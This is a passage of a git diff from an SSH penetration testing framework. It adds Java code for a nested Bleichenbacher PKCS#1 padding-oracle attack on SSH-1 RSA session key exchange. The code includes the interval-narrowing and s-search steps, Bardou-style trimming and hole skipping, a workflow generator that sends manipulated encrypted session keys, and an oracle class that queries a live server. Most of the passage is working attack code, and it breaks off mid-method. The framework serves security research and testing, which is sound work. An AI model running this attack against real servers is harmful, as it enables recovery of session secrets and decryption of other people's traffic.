+ CustomRsaPublicKey rsaPublicKey,
+ CustomRsaPublicKey outerKey) {
+
+ boolean oracleResult;
+ // ri = ceil(2 * (b * prev_s - 2 * B), n)
+ BigInteger bTimesPrevs = upperBound.multiply(previousS);
+ BigInteger bTimePrevsSubTwoB = bTimesPrevs.subtract(two_B);
+ BigInteger ri = ceil(big_two.multiply(bTimePrevsSubTwoB), rsaPublicKey.getModulus());
+
+ while (true) {
+
+ // si_lower = ceil(2 * B + ri * n, b)
+ // si_upper = ceil(3 * B + ri * n, a)
+ BigInteger rITimesN = ri.multiply(rsaPublicKey.getModulus());
+ BigInteger si_lower = ceil(two_B.add(rITimesN), upperBound);
+ BigInteger si_upper = ceil(three_B.add(rITimesN), lowerBound);
+
+ for (BigInteger si = si_lower;
+ si.compareTo(si_upper) < 0;
+ si = si.add(BigInteger.ONE)) {
+
+ BigInteger attempt =
+ manipulateCiphertext(
+ si,
+ rsaPublicKey.getPublicExponent(),
+ rsaPublicKey.getModulus(),
+ ciphertext);
+
+ if (outerKey != null) {
+ BigInteger encryptedAttempt = encryptBigInt(attempt, outerKey);
+ oracleResult = queryOracle(encryptedAttempt, true);
+ counterInnerBleichenbacher++;
+ } else {
+ oracleResult = queryOracle(attempt, false);
+ counterOuterBleichenbacher++;
+ }
+
+ if (oracleResult) {
+ return si;
+ }
+ }
+
+ ri = ri.add(BigInteger.ONE);
+ }
+ }
+
+ /**
+ * Inserts a newly found interval into the known intervals M at the correct position
+ *
+ * @param M the known intervals of the previous attack-steps
+ * @param intervalToInsert the newly found interval, which should be inserted
+ * @return the new Intervall M
+ */
+ static List safeIntervalInsert(List M, Interval intervalToInsert) {
+ for (int i = 0; i < M.size(); i++) {
+ Interval chosenInterval = M.get(i);
+
+ if (chosenInterval.upper.compareTo(intervalToInsert.lower) >= 0
+ && chosenInterval.lower.compareTo(intervalToInsert.upper) <= 0) {
+ BigInteger lb = chosenInterval.lower.min(intervalToInsert.lower);
+ BigInteger ub = chosenInterval.upper.max(intervalToInsert.upper);
+ M.set(i, new Interval(lb, ub));
+ return M;
+ }
+ }
+
+ M.add(intervalToInsert);
+ return M;
+ }
+
+ /**
+ * Searches for the next intervals given by the found s-value for the BB-Attack
+ *
+ * @param M the previoud found Intervals
+ * @param s the found s-value which generates a valid PCKS-Padding
+ * @param rsaPublicKey the public key, for which the ciphertext should be decrypted
+ * @return the new Intervall M
+ */
+ private List updateInterval(
+ List M, BigInteger s, CustomRsaPublicKey rsaPublicKey) {
+ List M_new = new ArrayList<>();
+ for (Interval chosenInterval : M) {
+ /*
+ a * s - 3 * B + 1
+ */
+ BigInteger lowerTimesS = chosenInterval.lower.multiply(s);
+ BigInteger lowerPartForCeil = lowerTimesS.subtract(three_B_plus_one);
+
+ BigInteger r_lower = ceil(lowerPartForCeil, rsaPublicKey.getModulus());
+
+ /*
+ b * s - 2 * B
+ */
+ BigInteger upperTimesS = chosenInterval.upper.multiply(s);
+ BigInteger upperPartForCeil = upperTimesS.subtract(two_B);
+ BigInteger r_upper = ceil(upperPartForCeil, rsaPublicKey.getModulus());
+
+ for (BigInteger r = r_lower; r.compareTo(r_upper) < 0; r = r.add(BigInteger.ONE)) {
+ BigInteger lowerBound = chosenInterval.lower;
+ BigInteger upperBound = chosenInterval.upper;
+
+ BigInteger lowerUpperBound =
+ ceil(two_B.add(r.multiply(rsaPublicKey.getModulus())), s);
+ lowerBound = lowerBound.max(lowerUpperBound);
+
+ BigInteger upperUpperBound =
+ MathHelper.floor(
+ three_B_sub_one.add(r.multiply(rsaPublicKey.getModulus())), s);
+ upperBound = upperBound.min(upperUpperBound);
+
+ Interval interim_interval = new Interval(lowerBound, upperBound);
+
+ M_new = safeIntervalInsert(M_new, interim_interval);
+ }
+ }
+
+ return M_new;
+ }
+
+ /** The function to start the Attack */
+ public void attack(boolean classic) {
+
+ this.classic = classic;
+
+ if (hostPublicKey.getModulus().bitLength() > serverPublicKey.getModulus().bitLength()) {
+ byte[] cracked = nestedBleichenbacher(encryptedMsg, serverPublicKey, hostPublicKey);
+ LOGGER.info("Cracked encoded: {}", ArrayConverter.bytesToHexString(cracked));
+ byte[] cracked_decoded = PkcsConverter.doPkcsDecoding(cracked);
+ LOGGER.info("Cracked decoded: {}", ArrayConverter.bytesToHexString(cracked_decoded));
+ solution = new BigInteger(cracked_decoded);
+ } else {
+ byte[] cracked = nestedBleichenbacher(encryptedMsg, serverPublicKey, hostPublicKey);
+ LOGGER.info("Cracked encoded: {}", ArrayConverter.bytesToHexString(cracked));
+ byte[] cracked_decoded = PkcsConverter.doPkcsDecoding(cracked);
+ LOGGER.info("Cracked decoded: {}", ArrayConverter.bytesToHexString(cracked_decoded));
+ solution = new BigInteger(cracked_decoded);
+ }
+ }
+
+ /**
+ * The Bleichenbacher-Attack for a nested encryption. The Encryption is: (outerkey ( innerkey (
+ * ciphertext)))
+ *
+ * @param ciphertext The Ciphertext, which should be decrypted
+ * @param innerPublicKey The known public key, for the inner encryption for the ciphertext
+ * @param outerPublicKey The known public key, for the outer encryption for the ciphertext
+ * @return the decrypted Plaintext
+ */
+ private byte[] nestedBleichenbacher(
+ byte[] ciphertext,
+ CustomRsaPublicKey innerPublicKey,
+ CustomRsaPublicKey outerPublicKey) {
+ int innerBitsize = innerPublicKey.getModulus().bitLength();
+ int outerBitsize = outerPublicKey.getModulus().bitLength();
+ int innerK = innerBitsize / 8;
+ int outerK = outerBitsize / 8;
+
+ B = big_two.pow(8 * (outerK - 2));
+ two_B = B.multiply(big_two);
+ three_B = B.multiply(BigInteger.valueOf(3));
+ three_B_sub_one = three_B.subtract(BigInteger.ONE);
+ three_B_plus_one = three_B.add(BigInteger.ONE);
+
+ byte[] encoded_inner_ciphertext = Bleichenbacher(ciphertext, outerPublicKey, null);
+ byte[] innerCiphertext = PkcsConverter.doPkcsDecoding(encoded_inner_ciphertext);
+
+ B = big_two.pow(8 * (innerK - 2));
+ two_B = B.multiply(big_two);
+ three_B = B.multiply(BigInteger.valueOf(3));
+ three_B_sub_one = three_B.subtract(BigInteger.ONE);
+ three_B_plus_one = three_B.add(BigInteger.ONE);
+
+ return Bleichenbacher(innerCiphertext, innerPublicKey, outerPublicKey);
+ }
+
+ /**
+ * Perform the inner Bleichenbacher algorithm.
+ *
+ * @param ciphertext The ciphertext to decrypt.
+ * @param innerPublicKey The inner RSA public key.
+ * @param outerPublicKey The outer RSA public key.
+ * @return The decrypted plaintext as a byte array.
+ */
+ private byte[] Bleichenbacher(
+ byte[] ciphertext,
+ CustomRsaPublicKey innerPublicKey,
+ CustomRsaPublicKey outerPublicKey) {
+
+ int innerBitsize = innerPublicKey.getModulus().bitLength();
+ int innerK = innerBitsize / 8;
+ BigInteger s;
+
+ LOGGER.debug(
+ "bitsize: {}\nk: {}\nB: {}\n2B: {}\n3B: {}\n3B - 1: {}\nCiphertext: {}",
+ innerBitsize,
+ innerK,
+ B.toString(16),
+ two_B.toString(16),
+ three_B.toString(16),
+ three_B_sub_one.toString(16),
+ bytesToHex(ciphertext));
+
+ List M = new ArrayList<>();
+ M.add(new Interval(two_B, three_B_sub_one));
+ LOGGER.debug(
+ "M lower: {} M upper: {}",
+ M.get(0).lower.toString(16),
+ M.get(0).upper.toString(16));
+
+ // only applie trimmes in improved run
+ if (!classic) {
+ int maxTrimmes = outerPublicKey != null ? innerTrimmers : outerTrimmers;
+
+ M = trimM0(ciphertext, innerPublicKey, outerPublicKey, maxTrimmes);
+ }
+
+ s =
+ step2a(
+ ceil(innerPublicKey.getModulus().add(two_B), M.get(0).upper),
+ ciphertext,
+ innerPublicKey,
+ outerPublicKey,
+ M);
+
+ LOGGER.debug(
+ "found s, initial updating M lower: {} M upper: {}",
+ M.get(0).lower.toString(16),
+ M.get(0).upper.toString(16));
+
+ M = updateInterval(M, s, innerPublicKey);
+ LOGGER.debug("Length: {} M: {}", M.size(), M.toString());
+
+ while (true) {
+ if (M.size() >= 2) {
+
+ if (!classic) {
+ s =
+ step2b(
+ M,
+ s.add(BigInteger.ONE),
+ ciphertext,
+ innerPublicKey,
+ outerPublicKey);
+ } else {
+ s = step2b(s.add(BigInteger.ONE), ciphertext, innerPublicKey, outerPublicKey);
+ }
+
+ } else if (M.size() == 1) {
+ BigInteger a = M.get(0).lower;
+ BigInteger b = M.get(0).upper;
+ if (a.equals(b)) {
+ return ArrayConverter.bigIntegerToByteArray(a);
+ }
+ s = step2c(a, b, s, ciphertext, innerPublicKey, outerPublicKey);
+ }
+ M = updateInterval(M, s, innerPublicKey);
+ }
+ }
+
+ /**
+ * Implements "Skipping Holes" from Bardou, tests if s may be valid, returns if true or skips to
+ * the next valid s if false
+ *
+ * @param s The value to be checked.
+ * @param j Incrementor for the Holes
+ * @param low The lower bound of the range.
+ * @param high The upper bound of the range.
+ * @return The updated value of 's' to be used in the next iteration.
+ */
+ private BigInteger[] checkAndSkipS(
+ BigInteger s,
+ BigInteger j,
+ BigInteger low,
+ BigInteger high,
+ CustomRsaPublicKey publicKey,
+ Interval M) {
+ while (true) {
+ if (s.compareTo(low) >= 0 && s.compareTo(high) <= 0) {
+ s = high.add(BigInteger.ONE);
+ } else if (low.compareTo(high) > 0) {
+ LOGGER.info("thats it - no more holes");
+ return new BigInteger[] {s, BigInteger.ZERO, BigInteger.ZERO, BigInteger.ZERO};
+ } else if (s.compareTo(low) < 0) {
+ return new BigInteger[] {s, j, high, low};
+ }
+ j = j.add(BigInteger.ONE);
+ low = ceil(three_B.add(j.multiply(publicKey.getModulus())), M.lower); // ceil(3*B+j*n,a)
+ high =
+ ceil(
+ two_B.add(
+ (j.add(BigInteger.ONE)
+ .multiply(publicKey.getModulus()))),
+ M.upper)
+ .subtract(BigInteger.ONE); // ceil(2*B+(j+1)*n,b)-1
+
+ LOGGER.info("Skipping {} Values", high.subtract(low).intValue());
+ }
+ }
+
+ private List trimM0(
+ byte[] ciphertext,
+ CustomRsaPublicKey innerPublicKey,
+ CustomRsaPublicKey outerPublicKey,
+ int maxTrimmers) {
+ TrimmerGenerator trimmerGenerator = new TrimmerGenerator();
+
+ List M;
+
+ ArrayList trimmers;
+ trimmers = trimmerGenerator.getPaires(maxTrimmers);
+ ArrayList utPairs = new ArrayList<>();
+
+ for (int[] ut : trimmers) {
+ int u = ut[0];
+ int t = ut[1];
+
+ BigInteger uBI = BigInteger.valueOf(u);
+ BigInteger tBI = BigInteger.valueOf(t);
+
+ BigInteger cipherbig = new BigInteger(1, ciphertext);
+
+ BigInteger result =
+ cipherbig
+ .multiply(
+ (uBI.multiply(tBI.modInverse(innerPublicKey.getModulus())))
+ .modPow(
+ innerPublicKey.getPublicExponent(),
+ innerPublicKey.getModulus()))
+ .mod(innerPublicKey.getModulus());
+ if (outerPublicKey != null) {
+ BigInteger encryptedAttempt = encryptBigInt(result, outerPublicKey);
+
+ if (queryOracle(
+ encryptedAttempt,
+ true)) { // assuming the oracle and util method exists and does what
+ // expected
+ utPairs.add(new int[] {u, t});
+ }
+ } else {
+ if (queryOracle(result, false)) {
+ utPairs.add(new int[] {u, t});
+ }
+ }
+ }
+
+ if (!utPairs.isEmpty()) {
+
+ ArrayList t_values = new ArrayList<>();
+ for (int[] pair : utPairs) {
+ t_values.add(pair[1]);
+ }
+
+ int t_prime = MathHelper.findLeastCommonMultiple(t_values);
+
+ int u_min = Integer.MAX_VALUE;
+ int u_max = Integer.MIN_VALUE;
+ for (int[] pair : utPairs) {
+ int current = pair[0] * t_prime / pair[1];
+ if (current < u_min) {
+ u_min = current;
+ }
+ if (current > u_max) {
+ u_max = current;
+ }
+ }
+
+ BigInteger a =
+ two_B.multiply(BigInteger.valueOf(t_prime)).divide(BigInteger.valueOf(u_min));
+ BigInteger b =
+ three_B_sub_one
+ .multiply(BigInteger.valueOf(t_prime))
+ .divide(BigInteger.valueOf(u_max));
+
+ M = new ArrayList<>();
+ M.add(new Interval(a, b));
+ LOGGER.debug("done. trimming M0 iterations: [{},{}]", a, b);
+
+ if (outerPublicKey != null) {
+ innerTrimmed = true;
+ } else {
+ outerTrimmed = true;
+ }
+
+ } else {
+ LOGGER.debug("utPaires where empty, falling back to 2B and 3B-1");
+ M = new ArrayList<>();
+ M.add(new Interval(two_B, three_B_sub_one));
+ }
+ return M;
+ }
+
+ /**
+ * A helper function to create a hex-string from bytes
+ *
+ * @param bytes The bytes, which should be returned as hex-string
+ * @return The hex-string for the given Bytes
+ */
+ private String bytesToHex(byte[] bytes) {
+ StringBuilder result = new StringBuilder();
+ for (byte b : bytes) {
+ result.append(String.format("%02x", b));
+ }
+ return result.toString();
+ }
+
+ /**
+ * A helper function to encrypt a given BB-Attempt with a PCKS#1-Padding and a RSA encryption
+ *
+ * @param attempt The "plain" BB-Attempt, which should be encrypted
+ * @param encryptionKey The encryption-Key for the attempt
+ * @return
+ */
+ private BigInteger encryptBigInt(BigInteger attempt, CustomRsaPublicKey encryptionKey) {
+ try {
+ Cipher javaCipher = Cipher.getInstance("RSA/ECB/PKCS1Padding");
+
+ javaCipher.init(Cipher.ENCRYPT_MODE, encryptionKey);
+
+ return new BigInteger(
+ javaCipher.doFinal(ArrayConverter.bigIntegerToByteArray(attempt)));
+
+ } catch (InvalidKeyException
+ | IllegalBlockSizeException
+ | BadPaddingException
+ | NoSuchPaddingException
+ | NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ /**
+ * Manipulates the ciphertext by performing the following steps: 1. Computes the exponentiated
+ * value of s using the public exponent e and modulus n. 2. Converts the ciphertext array c to a
+ * BigInteger cipher. 3. Multiplies cipher with exponentiated and stores the result in res. 4.
+ * Computes the modulus of res with n and returns the result.
+ *
+ * @param s The value to be exponentiated.
+ * @param e The public exponent.
+ * @param n The modulus.
+ * @param c The ciphertext as a byte array.
+ * @return The manipulated ciphertext as a BigInteger.
+ */
+ private BigInteger manipulateCiphertext(BigInteger s, BigInteger e, BigInteger n, byte[] c) {
+ BigInteger exponentiated = s.modPow(e, n);
+ BigInteger cipher = new BigInteger(1, c);
+ BigInteger res = cipher.multiply(exponentiated);
+
+ return res.mod(n);
+ }
+
+ /*
+ * Collect all getters for stats down here
+ */
+ public int getCounterInnerBleichenbacher() {
+ return counterInnerBleichenbacher;
+ }
+
+ public int getCounterOuterBleichenbacher() {
+ return counterOuterBleichenbacher;
+ }
+
+ public boolean isInnerTrimmed() {
+ return innerTrimmed;
+ }
+
+ public boolean isOuterTrimmed() {
+ return outerTrimmed;
+ }
+
+ public int getInnerTrimmers() {
+ return innerTrimmers;
+ }
+
+ public int getOuterTrimmers() {
+ return outerTrimmers;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/BleichenbacherWorkflowGenerator.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/BleichenbacherWorkflowGenerator.java
new file mode 100644
index 000000000..08d1e8cbe
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/BleichenbacherWorkflowGenerator.java
@@ -0,0 +1,95 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1;
+
+import de.rub.nds.modifiablevariable.bytearray.ByteArrayModificationFactory;
+import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.constants.RunningModeType;
+import de.rub.nds.sshattacker.core.protocol.ssh1.client.message.ClientSessionKeyMessage;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.ServerPublicKeyMessage;
+import de.rub.nds.sshattacker.core.protocol.transport.message.RsaKeyExchangePubkeyMessage;
+import de.rub.nds.sshattacker.core.workflow.WorkflowTrace;
+import de.rub.nds.sshattacker.core.workflow.action.ReceiveAction;
+import de.rub.nds.sshattacker.core.workflow.action.SendAction;
+import de.rub.nds.sshattacker.core.workflow.action.SendMangerSecretAction;
+import de.rub.nds.sshattacker.core.workflow.factory.WorkflowConfigurationFactory;
+import de.rub.nds.sshattacker.core.workflow.factory.WorkflowTraceType;
+
+/** Utility class for generating attack workflows for Manger style attacks */
+public final class BleichenbacherWorkflowGenerator {
+
+ /**
+ * @param sshConfig SSH config to be used to generate the workflow
+ * @param encryptedSecret Encrypted secret to be set in the key exchange's secret message
+ * @return A workflow that performs an SSH RSA key exchange up to the secret message + messages
+ * received after the secret message
+ */
+ public static WorkflowTrace generateWorkflow(Config sshConfig, byte[] encryptedSecret) {
+ WorkflowTrace trace =
+ new WorkflowConfigurationFactory(sshConfig)
+ .createWorkflowTrace(
+ WorkflowTraceType.KEX_SSH1_ONLY, RunningModeType.CLIENT);
+
+ trace.addSshAction(new ReceiveAction(new ServerPublicKeyMessage()));
+
+ ClientSessionKeyMessage clientSessionKeyMessage = new ClientSessionKeyMessage();
+ ModifiableByteArray encryptedSecretArray = new ModifiableByteArray();
+ encryptedSecretArray.setModification(
+ ByteArrayModificationFactory.explicitValue(encryptedSecret));
+ clientSessionKeyMessage.setEncryptedSessioKey(encryptedSecretArray);
+ trace.addSshAction(new SendAction(clientSessionKeyMessage));
+
+ return trace;
+ }
+
+ public static WorkflowTrace generateWorkflow(
+ Config sshConfig, byte[] encryptedSecret, byte[] plainSecret) {
+ WorkflowTrace trace =
+ new WorkflowConfigurationFactory(sshConfig)
+ .createWorkflowTrace(
+ WorkflowTraceType.KEX_SSH1_ONLY, RunningModeType.CLIENT);
+
+ trace.addSshAction(new ReceiveAction(new ServerPublicKeyMessage()));
+
+ ClientSessionKeyMessage clientSessionKeyMessage = new ClientSessionKeyMessage();
+ ModifiableByteArray encryptedSecretArray = new ModifiableByteArray();
+ ModifiableByteArray plainSecretArray = new ModifiableByteArray();
+ encryptedSecretArray.setModification(
+ ByteArrayModificationFactory.explicitValue(encryptedSecret));
+ plainSecretArray.setModification(ByteArrayModificationFactory.explicitValue(plainSecret));
+ clientSessionKeyMessage.setEncryptedSessioKey(encryptedSecretArray);
+ clientSessionKeyMessage.setPlaintextSessioKey(plainSecretArray);
+ trace.addSshAction(new SendAction(clientSessionKeyMessage));
+
+ return trace;
+ }
+
+ /**
+ * Generates a dynamic workflow that encrypts the given encoded secret during execution
+ *
+ * @param sshConfig SSH config to be used to generate the workflow
+ * @param encodedSecret The encoded shared secret to be encrypted and send
+ * @return A dynamic workflow that performs an SSH RSA key exchange up to the secret message +
+ * messages received after the secret message
+ */
+ public static WorkflowTrace generateDynamicWorkflow(Config sshConfig, byte[] encodedSecret) {
+ WorkflowTrace trace =
+ new WorkflowConfigurationFactory(sshConfig)
+ .createWorkflowTrace(
+ WorkflowTraceType.KEX_INIT_ONLY, RunningModeType.CLIENT);
+ trace.addSshAction(new ReceiveAction(new RsaKeyExchangePubkeyMessage()));
+ trace.addSshAction(new SendMangerSecretAction(encodedSecret));
+ trace.addSshAction(new ReceiveAction());
+ return trace;
+ }
+
+ private BleichenbacherWorkflowGenerator() {
+ super();
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Interval.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Interval.java
index fbea78007..fcc48aa97 100644
--- a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Interval.java
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Interval.java
@@ -12,8 +12,24 @@
/** M interval as mentioned in the Bleichenbacher paper. */
public class Interval {
- public final BigInteger lower;
- public final BigInteger upper;
+ public BigInteger getLower() {
+ return lower;
+ }
+
+ public void setLower(BigInteger lower) {
+ this.lower = lower;
+ }
+
+ public BigInteger getUpper() {
+ return upper;
+ }
+
+ public void setUpper(BigInteger upper) {
+ this.upper = upper;
+ }
+
+ public BigInteger lower;
+ public BigInteger upper;
/**
* @param a Start of interval
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/KeyLenght.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/KeyLenght.java
new file mode 100644
index 000000000..632556989
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/KeyLenght.java
@@ -0,0 +1,14 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1;
+
+public enum KeyLenght {
+ SHORT,
+ LONG,
+ REAL
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/OracleType.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/OracleType.java
new file mode 100644
index 000000000..a4e2ebfea
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/OracleType.java
@@ -0,0 +1,24 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2024 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1;
+
+public enum OracleType {
+ WEAK("weak"),
+ STRONG("strong"),
+ REAL("real");
+ final String oracleType;
+
+ OracleType(String name) {
+ this.oracleType = name;
+ }
+
+ @Override
+ public String toString() {
+ return oracleType;
+ }
+}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Pkcs1Attack.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Pkcs1Attack.java
index 9ed24f100..da4586327 100644
--- a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Pkcs1Attack.java
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/Pkcs1Attack.java
@@ -11,6 +11,7 @@
import de.rub.nds.sshattacker.attacks.pkcs1.oracles.Pkcs1Oracle;
import java.math.BigInteger;
import java.security.interfaces.RSAPublicKey;
+import java.util.ArrayList;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
@@ -34,6 +35,13 @@ public class Pkcs1Attack {
protected BigInteger bigB;
+ protected double averageTimeforRequestInnerOracle;
+ protected double averageTimeforRequestOuterOracle;
+
+ // Array list of longs
+ protected ArrayList innerTimings = new ArrayList<>();
+ protected ArrayList outerTimings = new ArrayList<>();
+
/**
* @param msg The message that should be decrypted with the attack
* @param pkcsOracle The oracle to be queried
@@ -91,6 +99,40 @@ protected boolean queryOracle(BigInteger message, BigInteger si) {
return oracle.checkPKCSConformity(msg);
}
+ /**
+ * @param message Message to query the oracle with
+ * @param inner True, if the query is for the inner encryption
+ * @return The return value of the oracle (true/false), the result belongs to the inner / outer
+ * encryption give with the parameter inner
+ */
+ protected boolean queryOracle(BigInteger message, boolean inner) {
+ byte[] msg = ArrayConverter.bigIntegerToByteArray(message);
+ long start = System.nanoTime();
+ boolean[] results = oracle.checkDoublePKCSConformity(msg);
+ long end = System.nanoTime();
+ long tookTime = end - start;
+ if (inner) {
+ innerTimings.add(tookTime);
+ averageTimeforRequestInnerOracle = calculateAverage(innerTimings);
+ } else {
+ outerTimings.add(tookTime);
+ averageTimeforRequestOuterOracle = calculateAverage(outerTimings);
+ }
+ if (inner) {
+ return results[1];
+ } else {
+ return results[0];
+ }
+ }
+
+ protected double calculateAverage(ArrayList timings) {
+ long sum = 0;
+ for (Long timing : timings) {
+ sum += timing;
+ }
+ return (double) sum / timings.size();
+ }
+
/**
* @param message Message to query the oracle with
* @return The return value of the oracle (true/false)
@@ -103,4 +145,12 @@ protected boolean queryOracle(BigInteger message) {
public BigInteger getSolution() {
return solution;
}
+
+ public double getAverageTimeforRequestInnerOracle() {
+ return averageTimeforRequestInnerOracle;
+ }
+
+ public double getAverageTimeforRequestOuterOracle() {
+ return averageTimeforRequestOuterOracle;
+ }
}
diff --git a/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/BleichenbacherOracle.java b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/BleichenbacherOracle.java
new file mode 100644
index 000000000..ba3e3436e
--- /dev/null
+++ b/Attacks/src/main/java/de/rub/nds/sshattacker/attacks/pkcs1/oracles/BleichenbacherOracle.java
@@ -0,0 +1,183 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.attacks.pkcs1.oracles;
+
+import de.rub.nds.sshattacker.attacks.pkcs1.BleichenbacherWorkflowGenerator;
+import de.rub.nds.sshattacker.core.config.Config;
+import de.rub.nds.sshattacker.core.crypto.keys.CustomRsaPublicKey;
+import de.rub.nds.sshattacker.core.exceptions.WorkflowExecutionException;
+import de.rub.nds.sshattacker.core.protocol.common.ProtocolMessage;
+import de.rub.nds.sshattacker.core.protocol.ssh1.general.message.DisconnectMessageSSH1;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.FailureMessageSSH1;
+import de.rub.nds.sshattacker.core.protocol.ssh1.server.message.SuccessMessageSSH1;
+import de.rub.nds.sshattacker.core.state.State;
+import de.rub.nds.sshattacker.core.workflow.DefaultWorkflowExecutor;
+import de.rub.nds.sshattacker.core.workflow.WorkflowExecutor;
+import de.rub.nds.sshattacker.core.workflow.WorkflowTrace;
+import de.rub.nds.sshattacker.core.workflow.action.GenericReceiveAction;
+import de.rub.nds.tlsattacker.util.MathHelper;
+import java.security.interfaces.RSAPublicKey;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+/** An oracle that communicates with a real server to check PKCS conformity */
+public class BleichenbacherOracle extends Pkcs1Oracle {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ private final Config config;
+
+ private final RSAPublicKey hostPublicKey;
+ private final RSAPublicKey serverPublicKey;
+
+ private final int maxAttempts;
+
+ private boolean runningInInner = false;
+
+ private long timeElapsedforAverageCalculation = 0;
+ private long timeElapsed = 0;
+
+ /**
+ * @param hostPublicKey The public key
+ * @param config Config
+ */
+ public BleichenbacherOracle(
+ CustomRsaPublicKey hostPublicKey, CustomRsaPublicKey serverPublicKey, Config config) {
+ super();
+ this.hostPublicKey = hostPublicKey;
+ this.serverPublicKey = serverPublicKey;
+ this.blockSize =
+ MathHelper.intCeilDiv(this.hostPublicKey.getModulus().bitLength(), Byte.SIZE);
+ this.config = config;
+ this.maxAttempts = 10;
+ }
+
+ /**
+ * @param config Config
+ * @param maxAttempts Number of times the oracle should repeat the query on a workflow exception
+ */
+ public BleichenbacherOracle(
+ Config config,
+ CustomRsaPublicKey hostPublicKey,
+ CustomRsaPublicKey serverPublicKey,
+ int maxAttempts) {
+ super();
+ this.hostPublicKey = hostPublicKey;
+ this.serverPublicKey = serverPublicKey;
+ this.blockSize = MathHelper.intCeilDiv(publicKey.getModulus().bitLength(), Byte.SIZE);
+ this.config = config;
+ this.maxAttempts = maxAttempts;
+ }
+
+ /**
+ * A "noramle" single encryption PCKS Conformity Check
+ *
+ * @param msg Encrypted message to check for conformity
+ * @return Conformty (True or False)
+ */
+ @Override
+ public boolean checkPKCSConformity(byte[] msg) {
+ return checkPKCSConformity(msg, 0)[0];
+ }
+
+ /**
+ * A "double" PCKS Conformity check for nested encryption
+ *
+ * @param msg Encrypted message to check for conformity
+ * @return Conformty (True or False)
+ */
+ @Override
+ public boolean[] checkDoublePKCSConformity(byte[] msg) {
+
+ return checkPKCSConformity(msg, 0);
+ }
+
+ /**
+ * Check for PKCS Conformity with an attempt counter
+ *
+ * @param msg Encrypted message to check for conformity
+ * @param currentAttempt Attempt to check for conformity, use for limiting attempts
+ * @return
+ */
+ private boolean[] checkPKCSConformity(byte[] msg, int currentAttempt) {
+ // we are initializing a new connection in every loop step, since most
+ // of the known servers close the connection after an invalid handshake
+ Config sshConfig = config;
+ sshConfig.setWorkflowExecutorShouldClose(false);
+ WorkflowTrace trace = BleichenbacherWorkflowGenerator.generateWorkflow(sshConfig, msg);
+
+ // ReceiveAction receiveOracleResultAction = new ReceiveAction(new DisconnectMessage());
+ GenericReceiveAction receiveOracleResultAction = new GenericReceiveAction();
+ trace.addSshAction(receiveOracleResultAction);
+
+ State state = new State(sshConfig, trace);
+ WorkflowExecutor workflowExecutor = new DefaultWorkflowExecutor(state);
+
+ numberOfQueries++;
+ if (numberOfQueries % 500 == 0) {
+ LOGGER.warn(
+ String.format(
+ "[%d] Tries, took per average %f ns per oracle-request, in total %s ns have gone by",
+ numberOfQueries,
+ timeElapsedforAverageCalculation / (double) 500,
+ timeElapsed),
+ numberOfQueries,
+ timeElapsedforAverageCalculation / 500,
+ timeElapsed);
+ averageTimeforRequest = (long) (timeElapsedforAverageCalculation / (double) 500);
+ if (runningInInner) averageTimeforRequestInnerOracle = averageTimeforRequest;
+ else {
+ averageTimeforRequestOuterOracle = averageTimeforRequest;
+ }
+ timeElapsedforAverageCalculation = 0;
+ }
+
+ boolean[] conform = {false, false};
+ try {
+ long start = System.nanoTime();
+ workflowExecutor.executeWorkflow();
+ long finish = System.nanoTime();
+ timeElapsedforAverageCalculation = timeElapsedforAverageCalculation + (finish - start);
+ timeElapsed = timeElapsed + (finish - start);
+
